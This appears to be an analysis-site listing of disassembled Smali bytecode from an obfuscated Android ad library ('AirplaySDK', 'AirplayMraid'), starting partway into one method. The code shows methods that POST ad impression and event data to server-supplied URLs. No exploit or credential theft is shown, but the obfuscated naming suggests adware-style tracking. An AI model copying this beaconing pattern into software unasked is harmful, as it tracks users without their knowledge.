73 | iget-object v11, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->list:Ljava/util/List; | |
75 | invoke-direct {v10, v11}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;)V | |
77 | invoke-virtual {v4, v10}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V | |
78 | new-instance v3, Lorg/apache/http/params/BasicHttpParams; | |
80 | invoke-direct {v3}, Lorg/apache/http/params/BasicHttpParams;-><init>()V | |
81 | const/16 v8, 0x1b58 | |
83 | invoke-static {v3, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
84 | const/16 v9, 0x1b58 | |
86 | invoke-static {v3, v9}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
87 | new-instance v2, Lorg/apache/http/impl/client/DefaultHttpClient; | |
89 | invoke-direct {v2, v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>(Lorg/apache/http/params/HttpParams;)V | |
90 | new-instance v10, Lcom/vxjxu/jkhfn1870/NetworkThread$1; | |
92 | invoke-direct {v10, p0}, Lcom/vxjxu/jkhfn1870/NetworkThread$1;-><init>(Lcom/vxjxu/jkhfn1870/NetworkThread;)V | |
94 | invoke-virtual {v2, v10}, Lorg/apache/http/impl/client/DefaultHttpClient;->addRequestInterceptor(Lorg/apache/http/HttpRequestInterceptor;)V | |
95 | new-instance v10, Lcom/vxjxu/jkhfn1870/NetworkThread$2; | |
97 | invoke-direct {v10, p0}, Lcom/vxjxu/jkhfn1870/NetworkThread$2;-><init>(Lcom/vxjxu/jkhfn1870/NetworkThread;)V | |
99 | invoke-virtual {v2, v10}, Lorg/apache/http/impl/client/DefaultHttpClient;->addResponseInterceptor(Lorg/apache/http/HttpResponseInterceptor;)V | |
101 | invoke-virtual {v2, v4}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
102 | move-result-object v5 | |
103 | check-cast v5, Lorg/apache/http/message/BasicHttpResponse; | |
105 | invoke-virtual {v5}, Lorg/apache/http/message/BasicHttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
106 | move-result-object v10 | |
108 | invoke-interface {v10}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
109 | move-result v0 | |
111 | const-string v10, "AirplaySDK" | |
112 | new-instance v11, Ljava/lang/StringBuilder; | |
114 | invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V | |
116 | const-string v12, "Status Code: " | |
118 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
119 | move-result-object v11 | |
121 | invoke-virtual {v11, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; | |
122 | move-result-object v11 | |
124 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
125 | move-result-object v11 | |
127 | invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
128 | const/16 v10, 0xc8 | |
129 | if-ne v0, v10, :cond_f2 | |
131 | invoke-virtual {v5}, Lorg/apache/http/message/BasicHttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
132 | move-result-object v10 | |
134 | invoke-static {v10}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
135 | move-result-object v7 | |
136 | new-instance v10, Ljava/lang/StringBuilder; | |
138 | invoke-direct {v10}, Ljava/lang/StringBuilder;-><init>()V | |
140 | const-string v11, "Response String:" | |
142 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
143 | move-result-object v10 | |
145 | invoke-virtual {v10, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
146 | move-result-object v10 | |
148 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
149 | move-result-object v10 | |
151 | invoke-static {v10}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
152 | if-eqz v7, :cond_112 | |
154 | const-string v10, "" | |
156 | invoke-virtual {v7, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z | |
157 | move-result v10 | |
158 | if-nez v10, :cond_112 | |
160 | iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->asyncTaskCompleteListener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
162 | invoke-interface {v10, v7}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->onTaskComplete(Ljava/lang/Object;)V | |
163 | try_end_e7: monitor-exit p0 | |
164 | goto_e8: return-void | |
165 | catch_e9: move-exception v1 | |
167 | invoke-virtual {v1}, Ljava/lang/InterruptedException;->printStackTrace()V | |
168 | goto/16 :goto_2c | |
169 | catchall_ef: move-exception v10 | |
170 | monitor-exit p0 | |
171 | try_end_f1: throw v10 | |
172 | try_start_f2: | |
173 | const-string v10, "AirplaySDK" | |
174 | new-instance v11, Ljava/lang/StringBuilder; | |
176 | invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V | |
178 | const-string v12, "HTTP response reason: " | |
180 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
181 | move-result-object v11 | |
183 | invoke-virtual {v5}, Lorg/apache/http/message/BasicHttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
184 | move-result-object v12 | |
186 | invoke-interface {v12}, Lorg/apache/http/StatusLine;->getReasonPhrase()Ljava/lang/String; | |
187 | move-result-object v12 | |
189 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
190 | move-result-object v11 | |
192 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
193 | move-result-object v11 | |
195 | invoke-static {v10, v11}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
196 | try_start_112: | |
197 | iget-object v10, p0, Lcom/vxjxu/jkhfn1870/NetworkThread;->asyncTaskCompleteListener:Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener; | |
198 | const/4 v11, 0x0 | |
200 | invoke-interface {v10, v11}, Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;->onTaskComplete(Ljava/lang/Object;)V | |
201 | monitor-exit p0 | |
202 | goto/16 :goto_e8 | |
203 | catch_11a: move-exception v1 | |
205 | const-string v10, "SocketTimeoutException Thrown" | |
207 | invoke-virtual {v1}, Ljava/net/SocketTimeoutException;->toString()Ljava/lang/String; | |
208 | move-result-object v11 | |
210 | invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
211 | goto/16 :goto_112 | |
212 | catch_125: move-exception v1 | |
214 | const-string v10, "ClientProtocolException Thrown" | |
216 | invoke-virtual {v1}, Lorg/apache/http/client/ClientProtocolException;->toString()Ljava/lang/String; | |
217 | move-result-object v11 | |
219 | invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
220 | goto/16 :goto_112 | |
221 | catch_130: move-exception v1 | |
223 | const-string v10, "MalformedURLException Thrown" | |
225 | invoke-virtual {v1}, Ljava/net/MalformedURLException;->toString()Ljava/lang/String; | |
226 | move-result-object v11 | |
228 | invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
229 | goto/16 :goto_112 | |
230 | catch_13b: move-exception v1 | |
232 | const-string v10, "SSL Exception: " | |
234 | invoke-virtual {v1}, Ljavax/net/ssl/SSLPeerUnverifiedException;->getMessage()Ljava/lang/String; | |
235 | move-result-object v11 | |
237 | invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
238 | goto/16 :goto_112 | |
239 | catch_146: move-exception v1 | |
241 | const-string v10, "IOException Thrown" | |
243 | invoke-virtual {v1}, Ljava/io/IOException;->toString()Ljava/lang/String; | |
244 | move-result-object v11 | |
246 | invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
247 | goto/16 :goto_112 | |
248 | catch_151: move-exception v6 | |
250 | const-string v10, "Exception Thrown: " | |
251 | new-instance v11, Ljava/lang/StringBuilder; | |
253 | invoke-direct {v11}, Ljava/lang/StringBuilder;-><init>()V | |
255 | const-string v12, "" | |
257 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
258 | move-result-object v11 | |
260 | invoke-virtual {v6}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
261 | move-result-object v12 | |
263 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
264 | move-result-object v11 | |
266 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
267 | move-result-object v11 | |
269 | invoke-static {v10, v11}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I |
|
270 | try_end_16e: goto/16 :goto_112 | |
271 | catch_16f: move-exception v10 | |
272 | goto/16 :goto_112 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v8, "AirplayMraid" | |
4 | const-string v9, "Sending banner impression event: " | |
6 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
8 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
10 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
11 | move-result-object v8 | |
13 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->isErrorReport()Z | |
14 | move-result v8 | |
15 | if-nez v8, :cond_23 | |
17 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->val$event:Ljava/lang/String; | |
19 | const-string v9, "89" | |
21 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
22 | move-result v8 | |
23 | if-eqz v8, :cond_23 | |
25 | const-string v8, "Error reporting is off." | |
27 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
28 | goto_22: return-void | |
29 | cond_23: | |
30 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->this$0:Lcom/vxjxu/jkhfn1870/ImageBanner; | |
32 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/ImageBanner;->access$000(Lcom/vxjxu/jkhfn1870/ImageBanner;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd; | |
33 | move-result-object v8 | |
35 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->getApi_url()Ljava/lang/String; | |
36 | move-result-object v5 | |
38 | const-string v8, "%event%" | |
40 | invoke-virtual {v5, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
41 | move-result v8 | |
42 | if-eqz v8, :cond_3d | |
44 | const-string v8, "%event%" | |
46 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/ImageBanner$2;->val$event:Ljava/lang/String; | |
48 | invoke-virtual {v5, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
49 | move-result-object v5 | |
50 | cond_3d: new-instance v8, Ljava/lang/StringBuilder; | |
52 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
54 | const-string v9, "URL: " | |
56 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
57 | move-result-object v8 | |
59 | invoke-virtual {v8, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
60 | move-result-object v8 | |
62 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
63 | move-result-object v8 | |
65 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
66 | new-instance v3, Lorg/apache/http/impl/client/DefaultHttpClient; | |
68 | invoke-direct {v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
69 | new-instance v4, Lorg/apache/http/client/methods/HttpPost; | |
71 | invoke-direct {v4, v5}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
72 | new-instance v0, Lorg/apache/http/params/BasicHttpParams; | |
74 | invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V | |
76 | invoke-virtual {v4, v0}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V | |
77 | const/16 v8, 0x3a98 | |
79 | invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
80 | const/16 v8, 0x2710 | |
82 | invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
84 | invoke-interface {v3, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
85 | move-result-object v6 | |
86 | if-nez v6, :cond_d6 | |
87 | const/4 v1, 0x0 | |
88 | goto_76: | |
89 | const-string v8, "AirplayMraid" | |
90 | new-instance v9, Ljava/lang/StringBuilder; | |
92 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
94 | const-string v10, "Status code: " | |
96 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
97 | move-result-object v9 | |
99 | invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; |
|
100 | move-result-object v9 | |
102 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
103 | move-result-object v9 | |
105 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
106 | const/16 v8, 0xc8 | |
107 | if-ne v1, v8, :cond_22 | |
109 | invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
110 | move-result-object v8 | |
112 | invoke-static {v8}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
113 | move-result-object v7 | |
115 | const-string v8, "AirplayMraid" | |
116 | new-instance v9, Ljava/lang/StringBuilder; | |
118 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
120 | const-string v10, "Banner Data: " | |
122 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
123 | move-result-object v9 | |
125 | invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
126 | move-result-object v9 | |
128 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
129 | move-result-object v9 | |
131 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
132 | try_end_b2: goto/16 :goto_22 | |
133 | catch_b4: move-exception v2 | |
135 | const-string v8, "AirplayMraid" | |
136 | new-instance v9, Ljava/lang/StringBuilder; | |
138 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
140 | const-string v10, "Exception: " | |
142 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
143 | move-result-object v9 | |
145 | invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
146 | move-result-object v10 | |
148 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
149 | move-result-object v9 | |
151 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
152 | move-result-object v9 | |
154 | invoke-static {v8, v9}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
156 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
157 | goto/16 :goto_22 | |
158 | cond_d6: | |
159 | invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
160 | move-result-object v8 | |
162 | invoke-interface {v8}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
163 | try_end_dd: move-result v1 | |
164 | goto/16 :goto_76 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v8, "AirplayMraid" | |
4 | const-string v9, "Sending event: " | |
6 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
8 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
10 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1200(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
11 | move-result-object v8 | |
13 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->isErrorReporting()Z | |
14 | move-result v8 | |
15 | if-nez v8, :cond_23 | |
17 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->val$event:Ljava/lang/String; | |
19 | const-string v9, "89" | |
21 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
22 | move-result v8 | |
23 | if-eqz v8, :cond_23 | |
25 | const-string v8, "Error reporting is off." | |
27 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
28 | goto_22: return-void | |
29 | cond_23: | |
30 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
32 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1200(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson; | |
33 | move-result-object v8 | |
35 | invoke-virtual {v8}, Lcom/vxjxu/jkhfn1870/FormatAds$ParseMraidJson;->getImpression_url()Ljava/lang/String; | |
36 | move-result-object v5 | |
38 | const-string v8, "%event%" | |
40 | invoke-virtual {v5, v8}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
41 | move-result v8 | |
42 | if-eqz v8, :cond_3d | |
44 | const-string v8, "%event%" | |
46 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/MraidView$6;->val$event:Ljava/lang/String; | |
48 | invoke-virtual {v5, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
49 | move-result-object v5 | |
50 | cond_3d: new-instance v8, Ljava/lang/StringBuilder; | |
52 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
54 | const-string v9, "URL: " | |
56 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
57 | move-result-object v8 | |
59 | invoke-virtual {v8, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
60 | move-result-object v8 | |
62 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
63 | move-result-object v8 | |
65 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
66 | new-instance v3, Lorg/apache/http/impl/client/DefaultHttpClient; | |
68 | invoke-direct {v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
69 | new-instance v4, Lorg/apache/http/client/methods/HttpPost; | |
71 | invoke-direct {v4, v5}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
72 | new-instance v0, Lorg/apache/http/params/BasicHttpParams; | |
74 | invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V | |
76 | invoke-virtual {v4, v0}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V | |
77 | const/16 v8, 0x3a98 | |
79 | invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
80 | const/16 v8, 0x2710 | |
82 | invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
84 | invoke-interface {v3, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
85 | move-result-object v6 | |
86 | if-nez v6, :cond_d6 | |
87 | const/4 v1, 0x0 | |
88 | goto_76: | |
89 | const-string v8, "AirplayMraid" | |
90 | new-instance v9, Ljava/lang/StringBuilder; | |
92 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
94 | const-string v10, "Status code: " | |
96 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
97 | move-result-object v9 | |
99 | invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; |
|
100 | move-result-object v9 | |
102 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
103 | move-result-object v9 | |
105 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
106 | const/16 v8, 0xc8 | |
107 | if-ne v1, v8, :cond_22 | |
109 | invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
110 | move-result-object v8 | |
112 | invoke-static {v8}, Lorg/apache/http/util/EntityUtils;->toString(Lorg/apache/http/HttpEntity;)Ljava/lang/String; | |
113 | move-result-object v7 | |
115 | const-string v8, "AirplayMraid" | |
116 | new-instance v9, Ljava/lang/StringBuilder; | |
118 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
120 | const-string v10, "MRAID Data: " | |
122 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
123 | move-result-object v9 | |
125 | invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
126 | move-result-object v9 | |
128 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
129 | move-result-object v9 | |
131 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
132 | try_end_b2: goto/16 :goto_22 | |
133 | catch_b4: move-exception v2 | |
135 | const-string v8, "AirplayMraid" | |
136 | new-instance v9, Ljava/lang/StringBuilder; | |
138 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
140 | const-string v10, "Exception: " | |
142 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
143 | move-result-object v9 | |
145 | invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String; | |
146 | move-result-object v10 | |
148 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
149 | move-result-object v9 | |
151 | invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
152 | move-result-object v9 | |
154 | invoke-static {v8, v9}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I |
|
156 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
157 | goto/16 :goto_22 | |
158 | cond_d6: | |
159 | invoke-interface {v6}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
160 | move-result-object v8 | |
162 | invoke-interface {v8}, Lorg/apache/http/StatusLine;->getStatusCode()I | |
163 | try_end_dd: move-result v1 | |
164 | goto/16 :goto_76 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: | |
2 | const-string v8, "AirplaySDK" | |
4 | const-string v9, "Sending overlay event: " | |
6 | invoke-static {v8, v9}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
8 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$600()Z | |
9 | move-result v8 | |
10 | if-nez v8, :cond_27 | |
12 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String; | |
14 | const-string v9, "184" | |
16 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
17 | move-result v8 | |
18 | if-nez v8, :cond_21 | |
20 | iget-object v8, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String; | |
22 | const-string v9, "183" | |
24 | invoke-virtual {v8, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
25 | move-result v8 | |
26 | if-eqz v8, :cond_27 | |
27 | cond_21: | |
28 | const-string v8, "Error reporting is off." | |
30 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V |
|
31 | cond_26: return-void | |
32 | cond_27: | |
33 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$700()Ljava/lang/String; | |
34 | move-result-object v7 | |
36 | invoke-static {}, Lcom/vxjxu/jkhfn1870/OverlayAd;->access$700()Ljava/lang/String; | |
37 | move-result-object v8 | |
39 | const-string v9, "%event%" | |
41 | invoke-virtual {v8, v9}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
42 | move-result v8 | |
43 | if-eqz v8, :cond_3f | |
45 | const-string v8, "%event%" | |
47 | iget-object v9, p0, Lcom/vxjxu/jkhfn1870/OverlayAd$3;->val$event:Ljava/lang/String; | |
49 | invoke-virtual {v7, v8, v9}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String; |
|
50 | move-result-object v7 | |
51 | cond_3f: new-instance v8, Ljava/lang/StringBuilder; | |
53 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
55 | const-string v9, "URL: " | |
57 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
58 | move-result-object v8 | |
60 | invoke-virtual {v8, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
61 | move-result-object v8 | |
63 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
64 | move-result-object v8 | |
66 | invoke-static {v8}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V | |
67 | new-instance v3, Lorg/apache/http/impl/client/DefaultHttpClient; | |
69 | invoke-direct {v3}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
70 | new-instance v4, Lorg/apache/http/client/methods/HttpPost; | |
72 | invoke-direct {v4, v7}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
73 | new-instance v0, Lorg/apache/http/params/BasicHttpParams; | |
75 | invoke-direct {v0}, Lorg/apache/http/params/BasicHttpParams;-><init>()V | |
77 | invoke-virtual {v4, v0}, Lorg/apache/http/client/methods/HttpPost;->setParams(Lorg/apache/http/params/HttpParams;)V | |
78 | const/16 v8, 0x3a98 | |
80 | invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setConnectionTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
81 | const/16 v8, 0x2710 | |
83 | invoke-static {v0, v8}, Lorg/apache/http/params/HttpConnectionParams;->setSoTimeout(Lorg/apache/http/params/HttpParams;I)V |
|
85 | invoke-interface {v3, v4}, Lorg/apache/http/client/HttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; | |
86 | move-result-object v5 | |
87 | if-nez v5, :cond_c0 | |
88 | const/4 v1, 0x0 | |
89 | goto_78: | |
90 | const-string v8, "AirplaySDK" | |
91 | new-instance v9, Ljava/lang/StringBuilder; | |
93 | invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V | |
95 | const-string v10, "Status code: " | |
97 | invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
98 | move-result-object v9 | |
100 | invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; |
|
101 | move-result-object v9 | |
